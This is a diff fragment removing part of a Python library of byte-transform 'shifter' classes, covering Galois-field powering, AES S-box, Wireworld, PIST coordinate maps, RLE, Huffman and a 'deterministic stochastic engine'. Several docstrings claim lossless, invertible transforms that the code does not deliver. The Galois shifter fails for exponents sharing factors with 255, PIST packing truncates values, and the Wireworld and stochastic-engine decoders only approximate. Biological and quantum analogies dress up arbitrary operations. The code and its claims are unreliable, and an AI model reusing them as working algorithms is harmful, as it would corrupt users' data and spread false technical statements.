best_score = ent - best_result = result - - if best_result is None: - best_result = bytearray(data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(best_result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 13: GALOIS RING (GF(2^8) algebraic operations) -# ─────────────────────────────────────────────────────────────────────────────── -# Galois field arithmetic: treat bytes as elements of GF(2^8). -# Operations: gf_mul (AES polynomial 0x1B), gf_pow (exponentiation). -# The algebraic structure provides error detection/correction. -# ═══════════════════════════════════════════════════════════════════════════════ - -class GaloisRingShifter(Shifter): - name = "GaloisRing" - - # AES Galois field GF(2^8) with irreducible polynomial 0x11B - @staticmethod - def gf_mul(a: int, b: int) -> int: - """Multiply two bytes in GF(2^8) with AES polynomial.""" - result = 0 - for _ in range(8): - if b & 1: - result ^= a - high = a & 0x80 - a = (a << 1) & 0xFF - if high: - a ^= 0x1B # AES irreducible polynomial - b >>= 1 - return result - - @staticmethod - def gf_pow(base: int, exp: int) -> int: - """Exponentiate base^exp in GF(2^8).""" - result = 1 - while exp > 0: - if exp & 1: - result = GaloisRingShifter.gf_mul(result, base) - base = GaloisRingShifter.gf_mul(base, base) - exp >>= 1 - return result - - @staticmethod - def gf_inv(a: int) -> int: - """Multiplicative inverse in GF(2^8). 0 maps to 0.""" - if a == 0: - return 0 - # Brute force for 8-bit field - for x in range(1, 256): - if GaloisRingShifter.gf_mul(a, x) == 1: - return x - return 0 - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply Galois field transformation to bytes. - - Each byte b → gf_pow(b, EXP) where EXP is derived from PIST shell. - This is a bijection (since GF(2^8) inverse exists) → lossless. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Derive exponent from data properties - k_avg = int(math.isqrt(sum(b for b in data) // max(1, len(data)))) - exp = max(1, (k_avg % 16) + 1) # exponent 1-16 - - result = bytearray() - for b in data: - # Apply gf_pow using PIST-derived exponent - transformed = cls.gf_pow(b, exp) - result.append(transformed) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['galois_exp'] = exp - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse Galois field transformation using gf_inv.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - exp = state.metadata.get('galois_exp', 1) - - # Find inverse exponent: e_inv such that gf_pow(gf_pow(b, exp), e_inv) = b - # gf_pow(b, exp)^e_inv = b^(exp·e_inv) = b^(1 mod 255) - # Need exp·e_inv ≡ 1 (mod 255) - e_inv = 1 - for inv in range(1, 256): - if (exp * inv) % 255 == 1: - e_inv = inv - break - - result = bytearray() - for b in data: - restored = cls.gf_pow(b, e_inv) - result.append(restored) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 14: S-BOX (AES substitution box — non-linear bijection) -# ─────────────────────────────────────────────────────────────────────────────── -# AES S-box is a non-linear 8-bit→8-bit substitution. -# Provides confusion (decorrelates byte relationships). -# ═══════════════════════════════════════════════════════════════════════════════ - -class SBoxShifter(Shifter): - name = "SBox" - - # ── AES S-box ── - _SBOX = [ - 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, - 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, - 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, - 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, - 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, - 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, - 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, - 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, - 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, - 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, - 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, - 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, - 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, - 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, - 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, - 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, - ] - - _INV_SBOX = [0] * 256 - for _i, _v in enumerate(_SBOX): - _INV_SBOX[_v] = _i - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply AES S-box substitution to each byte.""" - data = state.encoded - result = bytearray(cls._SBOX[b] for b in data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Apply inverse S-box.""" - data = state.encoded - result = bytearray(cls._INV_SBOX[b] for b in data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 15: WIREWORLD CELLULAR AUTOMATON (discrete state machine) -# ─────────────────────────────────────────────────────────────────────────────── -# Wireworld: head(2)→tail(3)→conductor(1)→head if 1-2 neighbors are head. -# Analogy: bytes propagate through a wireworld-like medium. -# ═══════════════════════════════════════════════════════════════════════════════ - -class WireworldShifter(Shifter): - name = "Wireworld" - - # Wireworld states: 0=empty, 1=conductor, 2=head, 3=tail - # States are represented as 2-bit values packed into bytes - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply Wireworld CA evolution to byte sequence. - - Each byte is decomposed into 4 wireworld cells (2 bits each). - The CA evolves for 1 step, then cells are re-packed. - This creates a deterministic state transition. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - result = bytearray() - for b in data: - # Decompose into 4 cells (2 bits each, values 0-3) - cells = [ - (b >> 6) & 0x03, - (b >> 4) & 0x03, - (b >> 2) & 0x03, - b & 0x03, - ] - - # Wireworld evolution (1D version: each cell has left/right neighbors) - new_cells = [] - for i in range(4): - left = cells[(i - 1) % 4] - right = cells[(i + 1) % 4] - curr = cells[i] - - if curr == 2: # head → tail - new_cells.append(3) - elif curr == 3: # tail → conductor - new_cells.append(1) - elif curr == 1: # conductor - # Count heads among neighbors - head_count = (1 if left == 2 else 0) + (1 if right == 2 else 0) - if head_count == 1 or head_count == 2: - new_cells.append(2) # become head - else: - new_cells.append(1) # stay conductor - else: # empty - new_cells.append(0) - - # Re-pack - new_b = (new_cells[0] << 6) | (new_cells[1] << 4) | (new_cells[2] << 2) | new_cells[3] - result.append(new_b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse Wireworld: run CA backwards. - - Wireworld is NOT reversible in general. But since each state - maps deterministically, we track the trajectory using - the encoded data as "target attractor." - - For decode, we reconstruct by running CA backward using - a nearest-neighbor lookup from a precomputed inverse mapping. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Precompute inverse mapping for all 256 byte values - # Forward map: f(byte) = wireworld_evolve(byte) - # Inverse: g(byte) = argmin_{c} |f(c) - byte| - forward = {} - for c in range(256): - cells = [(c >> 6) & 0x03, (c >> 4) & 0x03, (c >> 2) & 0x03, c & 0x03] - new_cells = [] - for i in range(4): - left = cells[(i - 1) % 4] - right = cells[(i + 1) % 4] - curr = cells[i] - if curr == 2: - new_cells.append(3) - elif curr == 3: - new_cells.append(1) - elif curr == 1: - head_count = (1 if left == 2 else 0) + (1 if right == 2 else 0) - new_cells.append(2 if (head_count == 1 or head_count == 2) else 1) - else: - new_cells.append(0) - new_b = (new_cells[0] << 6) | (new_cells[1] << 4) | (new_cells[2] << 2) | new_cells[3] - forward[c] = new_b - - # Build inverse: for each output, find closest input - inverse = {} - for out in range(256): - best = 0 - best_dist = 256 - for c, fwd in forward.items(): - d = abs(fwd - out) - if d < best_dist: - best_dist = d - best = c - inverse[out] = best - - result = bytearray(inverse[b] for b in data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 16: MORPHOLINO (nuclease-resistant blocking) -# ─────────────────────────────────────────────────────────────────────────────── -# Morpholino oligos are nuclease-resistant synthetic molecules. -# They "block" access to target sequences. -# Analogy: insert blocking markers that protect high-value data regions. -# ═══════════════════════════════════════════════════════════════════════════════ - -class MorpholinoShifter(Shifter): - name = "Morpholino" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Insert morpholino resistance markers at high-value regions. - - High-value = bytes with high PIST mass (seismic phase). - Markers protect against "nuclease" (data corruption). - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - result = bytearray() - for b in data: - k, t = pist_encode(b) - mass = pist_mass(k, t) - - if mass > 0: - # "Protect" this byte with morpholino marker - # Marker = 0xFE + byte value (protected pair) - result.append(0xFE) - result.append(b) - else: - # Grounded/seismic = unprotected - result.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['morpholino_protected'] = ( - sum(1 for i, b in enumerate(data) if pist_mass(*pist_encode(b)) > 0) - ) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Remove morpholino markers.""" - data = state.encoded - result = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFE and i + 1 < len(data): - result.append(data[i + 1]) - i += 2 - else: - result.append(data[i]) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 17: PIST DIRECT (direct PIST coordinate encoding) -# ─────────────────────────────────────────────────────────────────────────────── -# Encode bytes as (shell, offset) PIST coordinate pairs. -# This is the native geometry of the manifold. -# ═══════════════════════════════════════════════════════════════════════════════ - -class PISTShifter(Shifter): - name = "PIST" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode bytes as PIST (shell, offset) coordinate pairs. - - Each byte → two bytes: (shell, offset). - Shell ranges 0-15 (4 bits), offset ranges 0-31 (5 bits). - Pack into single byte: (shell << 4) | offset. - """ - data = state.encoded - result = bytearray() - for b in data: - k, t = pist_encode(b) - packed = min(15, k) << 4 | min(15, t & 0x0F) - result.append(packed) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode PIST coordinates back to bytes.""" - data = state.encoded - result = bytearray() - for packed in data: - k = (packed >> 4) & 0x0F - t = packed & 0x0F - val = pist_decode(k, t) - result.append(min(255, val)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 18: PIST MIRROR (mirror involution within shell) -# ─────────────────────────────────────────────────────────────────────────────── -# Mirror involution: (k, t) → (k, 2k+1-t). Preserves mass. -# Can map to a lower-tension alternative with same mass. -# ═══════════════════════════════════════════════════════════════════════════════ - -class PISTMirrorShifter(Shifter): - name = "PISTMirror" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply mirror involution: map each byte to its mirror. - - Mirror preserves mass but changes offset (t → 2k+1-t). - This is a bijection within each shell (perfect inverse). - """ - data = state.encoded - result = bytearray() - for b in data: - k, t = pist_encode(b) - mk, mt = pist_mirror(k, t) - val = pist_decode(mk, mt) - result.append(min(255, val)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Mirror is self-inverse (involution): mirror(mirror(x)) = x.""" - # Same operation - return cls.encode(state) - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 19: PIST RESONANCE (mass resonance equivalence jumping) -# ─────────────────────────────────────────────────────────────────────────────── -# Two coordinates with same mass are "resonant" — they can morph -# into each other while preserving the invariant. -# Analogy: quantum resonance between states with same energy. -# ═══════════════════════════════════════════════════════════════════════════════ - -class PISTResonanceShifter(Shifter): - name = "PISTResonance" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Jump to resonant coordinate with same mass. - - For each byte, find all coordinates in the same shell - with the same mass. Jump to the one with lowest tension - (closest to grounded). - """ - data = state.encoded - result = bytearray() - for b in data: - k, t = pist_encode(b) - mass = pist_mass(k, t) - shell_width = 2 * k + 1 - - # Find all offsets with same mass in this shell - resonant = [] - for tt in range(shell_width): - if pist_mass(k, tt) == mass: - resonant.append(tt) - - if len(resonant) > 1: - # Jump to the lowest-tension resonant coordinate - best_tt = min(resonant, key=lambda x: abs(x - shell_width / 2)) - val = pist_decode(k, best_tt) - else: - val = b # stay - - result.append(min(255, val)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Resonance jump is invertible: same algorithm maps back. - - Since the resonance condition is symmetric, the same - algorithm applied to any resonant state finds the same - target (the one with lowest tension). - """ - return cls.encode(state) - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 20: DELTA GCL (General Compression Language — delta encoding) -# ─────────────────────────────────────────────────────────────────────────────── -# Delta encoding with GCL marker structure. -# Markers: 'F' (full frame), 'D' (delta frame). -# ═══════════════════════════════════════════════════════════════════════════════ - -class DeltaGCLShifter(Shifter): - name = "DeltaGCL" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Delta GCL encoding with marker structure. - - First byte: full frame 'F' marker. - Subsequent bytes: delta frame 'D' marker + delta value. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - result = bytearray() - # Full frame - result.append(ord('F')) - result.append(data[0]) - - # Delta frames - for i in range(1, len(data)): - delta = (data[i] - data[i - 1]) & 0xFF - if delta == 0: - result.append(ord('D')) - result.append(0x00) # no change - elif abs(data[i] - data[i - 1]) <= 3: - # Small delta: pack as D + delta_byte - result.append(ord('D')) - result.append(delta) - else: - # Large change: full frame - result.append(ord('F')) - result.append(data[i]) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['gcl_frames'] = result.count(ord('F')) - new_state.metadata['gcl_deltas'] = result.count(ord('D')) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode GCL stream back to bytes.""" - data = state.encoded - result = bytearray() - - i = 0 - while i < len(data): - if data[i] == ord('F') and i + 1 < len(data): - result.append(data[i + 1]) - i += 2 - elif data[i] == ord('D') and i + 1 < len(data): - delta = data[i + 1] - if result: - prev = result[-1] - val = (prev + delta) & 0xFF - result.append(val) - else: - result.append(delta) - i += 2 - else: - # Raw byte (backward compat) - result.append(data[i]) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 21: RUN-LENGTH ENCODING (RLE with 0xFF escape) -# ─────────────────────────────────────────────────────────────────────────────── -# Classic RLE: runs of identical bytes → count + value. -# Escape byte 0xFF indicates a run. -# ═══════════════════════════════════════════════════════════════════════════════ - -class RunLengthShifter(Shifter): - name = "RunLength" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """RLE encode with 0xFF escape marker. - - Runs of 3+ identical bytes: 0xFF, count, value. - Single bytes: pass through (but escape literal 0xFF as 0xFF, 0x00, value). - """ - data = state.encoded - result = bytearray() - i = 0 - while i < len(data): - j = i - while j < len(data) and data[j] == data[i]: - j += 1 - run = j - i - - if run >= 4: - # Long run: marker + count + value - result.append(0xFF) - result.append(min(255, run)) - result.append(data[i]) - i = j - elif run == 3: - # Triple: could be encoded or literal - # Encode to save space - result.append(0xFF) - result.append(3) - result.append(data[i]) - i = j - else: - # Short: literal bytes - for k in range(run): - if data[i + k] == 0xFF: - # Escape literal 0xFF - result.append(0xFF) - result.append(0x00) - result.append(0xFF) - else: - result.append(data[i + k]) - i = j - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """RLE decode.""" - data = state.encoded - result = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFF and i + 2 < len(data): - count = data[i + 1] - val = data[i + 2] - if count == 0: - # Literal 0xFF - result.append(val) - else: - result.extend([val] * count) - i += 3 - else: - result.append(data[i]) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 22: HUFFMAN CODING (adaptive frequency-based encoding) -# ─────────────────────────────────────────────────────────────────────────────── -# Standard Huffman coding: variable-length codes based on byte frequency. -# Uses canonical Huffman tree for compact header. -# ═══════════════════════════════════════════════════════════════════════════════ - -class HuffmanShifter(Shifter): - name = "Huffman" - - @classmethod - def _build_huffman(cls, data: bytes): - """Build canonical Huffman tree and code table.""" - freq = Counter(data) - if not freq: - return {}, {} - - # Build priority queue - heap = [] - for byte_val, count in freq.items(): - heappush(heap, (count, byte_val, None, None)) - - while len(heap) > 1: - c1, b1, l1, r1 = heappop(heap) - c2, b2, l2, r2 = heappop(heap) - heappush(heap, (c1 + c2, min(b1, b2), (b1, l1, r1), (b2, l2, r2))) - - # Build codes from tree - _, _, left, right = heap[0] - - codes = {} - def traverse(node, code): - if isinstance(node, int): - codes[node] = code - return - b, l, r = node - traverse(l, code + '0') - traverse(r, code + '1') - - traverse((0, left, right), '') - - # Canonical: sort by code length, then byte value - sorted_codes = sorted(codes.items(), key=lambda x: (len(x[1]), x[0])) - - # Build canonical codes - canonical = {} - current_code = 0 - current_len = 0 - for byte_val, code in sorted_codes: - if len(code) > current_len: - current_code <<= (len(code) - current_len) - current_len = len(code) - canonical[byte_val] = bin(current_code)[2:].zfill(current_len) - current_code += 1 - - return canonical, {v: k for k, v in canonical.items()} - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Huffman encode byte stream.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - codes, _ = cls._build_huffman(data) - if not codes: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Encode bitstream - bit_buffer = [] - for b in data: - bit_buffer.append(codes.get(b, format(b, '08b'))) - - bits = ''.join(bit_buffer) - - # Pack bits into bytes - result = bytearray() - for i in range(0, len(bits), 8): - chunk = bits[i:i+8] - if len(chunk) == 8: - result.append(int(chunk, 2)) - else: - result.append(int(chunk.ljust(8, '0'), 2)) - - # Prepend: number of valid bits in last byte - remainder = len(bits) % 8 - result.insert(0, remainder if remainder > 0 else 8) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['huffman_codes'] = codes - new_state.metadata['huffman_num_bits'] = len(bits) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Huffman decode.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - codes = state.metadata.get('huffman_codes', {}) - if not codes: - # Try to reconstruct from data - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - reverse_codes = {v: k for k, v in codes.items()} - - # Unpack bits - last_byte_bits = data[0] - bits = '' - for b in data[1:]: - bits += format(b, '08b') - - # Trim last byte - if last_byte_bits < 8 and len(bits) > 8 - last_byte_bits: - bits = bits[:-(8 - last_byte_bits)] - - # Decode - result = bytearray() - current = '' - for bit in bits: - current += bit - if current in reverse_codes: - result.append(reverse_codes[current]) - current = '' - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 23: DETERMINISTIC STOCHASTIC ENGINE (DSE) -# ─────────────────────────────────────────────────────────────────────────────── -# The DSE applies controlled, reproducible "errors" (perturbations) -# that help narrow the search space by introducing algorithmic noise. -# -# Key insight: Langevin dynamics in manifold space. -# perturbation = η·∇(fitness) + √(2D)·ξ(seed) -# where: -# η = learning rate (controlled by PIST tension) -# ∇(fitness) = gradient direction toward higher compression -# D = diffusion coefficient (controlled by entropy) -# ξ(seed) = deterministic white noise from seeded PRNG -# -# The "errors" are NOT random — they are deterministic functions of: -# (a) The data content (seed from SHA256) -# (b) The PIST geometry (mass/tension scaling) -# (c) The current manifold state (entropy gradient) -# -# Multiple candidate perturbations are generated, and the one with -# the best fitness improvement is selected. This means the DSE -# "explores" the neighborhood of the current state deterministically. -# ═══════════════════════════════════════════════════════════════════════════════ - -class DeterministicStochasticEngine(Shifter): - name = "DeterministicStochastic" - - @classmethod - def _seed_from_data(cls, data: bytes) -> int: - """Derive reproducible seed from data content. - - Uses SHA256 truncated to 32 bits, then folded through - PIST mass to ensure the seed respects manifold geometry. - """ - if not data: - return 42 - h = hashlib.sha256(data).digest() - raw_seed = struct.unpack(' float: - """Generate deterministic noise using a seeded LCG + PIST folding. - - This is NOT random — same seed+index always produces same value. - The noise is "stochastic" in distribution only (Gaussian-like via Box-Muller). - """ - # LCG state = seed * index with golden ratio mixing - state = (seed * 0x9E3779B9 + index * 0x45D9F3B) & 0xFFFFFFFF - - # Two LCG calls for Box-Muller transform - state = (state * 1103515245 + 12345) & 0xFFFFFFFF - u1 = (state >> 16) / 65536.0 + 1e-10 - state = (state * 1103515245 + 12345) & 0xFFFFFFFF - u2 = (state >> 16) / 65536.0 - - # Box-Muller: standard normal - z = math.sqrt(-2.0 * math.log(u1)) * math.cos(2.0 * math.pi * u2) - - # PIST-mass folding: fold z through golden ratio phase - k = (seed // 17) % 16 - t = (index) % (2 * k + 1) if (2 * k + 1) > 0 else 0 - pist_phase = pist_normalized_tension(k, t) - - # Modulate scale by PIST tension (higher tension = more exploration) - effective_scale = scale * (0.5 + pist_phase) - - return z * effective_scale - - @classmethod - def _compute_fitness_gradient(cls, data: bytes, pos: int) -> float: - """Estimate local fitness gradient at position pos. - - A byte that is surrounded by different bytes has high gradient - (more potential for compression improvement via perturbation). - A byte in a run of identical bytes has low gradient. - """ - n = len(data) - if n < 3: - return 0.0 - - left = data[(pos - 1) % n] - right = data[(pos + 1) % n] - curr = data[pos] - - # Gradient = how much this byte differs from neighbors - grad = abs(curr - left) + abs(curr - right) - - # Normalize to [0, 1] - return grad / 512.0 - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply deterministic stochastic perturbation to manifold state. - - The DSE generates multiple candidate perturbations, evaluates - each for fitness improvement, and selects the best one. - - Workflow: - 1. Derive seed from data (deterministic) - 2. Compute PIST tension profile (controls exploration scale) - 3. Generate N candidate perturbations (N=8 by default) - 4. Score each candidate by: compression_improvement × stability - 5. Select best perturbation - 6. Record seed, index, and score in metadata - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - seed = cls._seed_from_data(data) - - #── PIST tension profile ── - tensions = [] - for b in data: - k, t = pist_encode(b) - tensions.append(pist_normalized_tension(k, t)) - avg_tension = sum(tensions) / max(1, len(tensions)) - - #── Entropy-driven parameters ── - entropy = intrinsic_load(data) - # Learning rate: higher entropy = smaller steps - learning_rate = 0.1 + 0.9 * (1.0 - entropy / 8.0) - # Diffusion: higher tension = more exploration - diffusion = 0.05 + 0.95 * avg_tension - - #── Generate candidate perturbations ── - num_candidates = 8 - best_result = None - best_fitness = -float('inf') - best_index = 0 - - for candidate_idx in range(num_candidates): - # Different candidate = different noise index offset - offset = candidate_idx * 137 # prime offset for diversity - - result = bytearray() - for i, b in enumerate(data): - # Compute gradient at this position - grad = cls._compute_fitness_gradient(data, i) - - # PIST-mass-aware perturbation - k, t = pist_encode(b) - mass = pist_mass(k, t) - tension = pist_normalized_tension(k, t) - - # Langevin dynamics: - # perturbation = η·grad + √(2D)·ξ(seed, index) - drift = learning_rate * grad * (1.0 + tension * 0.5) - noise_mag = math.sqrt(2.0 * diffusion) - noise = cls._deterministic_noise(seed, i + offset, scale=noise_mag) - - perturbation = drift + noise - - # Apply perturbation (bounded to [0, 255]) - new_val = int(b + perturbation * 12.0) - new_val = max(0, min(255, new_val)) - - # If mass is zero (grounded), less perturbation - if mass == 0: - new_val = int(b + drift * 6.0) - new_val = max(0, min(255, new_val)) - - result.append(new_val) - - # Score candidate: prefer lower entropy (more compressed) - candidate_entropy = intrinsic_load(bytes(result)) - candidate_fitness = len(data) / max(1, len(result)) * (1.0 / (1.0 + candidate_entropy)) - - if candidate_fitness > best_fitness: - best_fitness = candidate_fitness - best_result = result - best_index = candidate_idx - - if best_result is None: - best_result = bytearray(data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(best_result), cls.name) - new_state.metadata['dse_seed'] = seed - new_state.metadata['dse_candidate'] = best_index - new_state.metadata['dse_learning_rate'] = learning_rate - new_state.metadata['dse_diffusion'] = diffusion - new_state.metadata['dse_avg_tension'] = avg_tension - new_state.metadata['dse_best_fitness'] = best_fitness - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse deterministic stochastic perturbation. - - Since the DSE is a many-to-one map (multiple candidates - are evaluated and the best is selected), we cannot directly - invert it. Instead, we use the metadata to reconstruct - the perturbation and subtract it. - - The key insight: the DSE's selection process favors - perturbations that reduce entropy. The inverse perturbation - should restore the original structure by applying the - NEGATIVE of the recorded perturbation. - - Since the seed and candidate index are stored in metadata, - we can reconstruct the EXACT noise sequence and subtract it. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Recover metadata (with defaults if missing) - seed = state.metadata.get('dse_seed', 42) - candidate_idx = state.metadata.get('dse_candidate', 0) - learning_rate = state.metadata.get('dse_learning_rate', 0.5) - diffusion = state.metadata.get('dse_diffusion', 0.5) - - offset = candidate_idx * 137 - - # We need to REVERSE the perturbation. - # The forward DSE applied: new_val = b + drift + noise - # We know noise is deterministic from (seed, i+offset). - # But drift depends on gradient which depends on ORIGINAL data. - # - # Strategy: iteratively refine the inverse. - # Start with data as initial estimate. - # Compute gradient from current estimate. - # Subtract drift + noise. - # Repeat until convergence. - - estimate = bytearray(data) - for iteration in range(16): # fixed-point iteration - new_estimate = bytearray() - for i, b in enumerate(estimate): - # Compute gradient from current estimate - grad = cls._compute_fitness_gradient(bytes(estimate), i) - - # Reconstruct the drift that was applied - k, t = pist_encode(b) - tension = pist_normalized_tension(k, t) - drift = learning_rate * grad * (1.0 + tension * 0.5) - - # Reconstruct the noise - noise_mag = math.sqrt(2.0 * diffusion) - noise = cls._deterministic_noise(seed, i + offset, scale=noise_mag) - - # Subtract perturbation - inv_val = int(b - (drift + noise) * 12.0) - inv_val = max(0, min(255, inv_val)) - new_estimate.append(inv_val) - estimate = bytearray(new_estimate) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(estimate), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 24: CELLULAR AUTOMATA (multi-rule state machine) -# ─────────────────────────────────────────────────────────────────────────────── -# General cellular automaton with multiple rule sets. -# Applies a rule from a bank (Rule 30, 110, 90, 150) based on PIST phase. -# ═══════════════════════════════════════════════════════════════════════════════ - -class CellularAutomataShifter(Shifter): - name = "CellularAutomata" - - # Elementary CA rule tables (neighborhood: left, curr, right → new) - RULE_30 = {7: 0, 6: 0, 5: 0, 4: 1, 3: 1, 2: 1, 1: 1, 0: 0} # wolfram code 30 - RULE_110 = {7: 0, 6: 1, 5: 1, 4: 0, 3: 1, 2: 1, 1: 1, 0: 0} # wolfram code 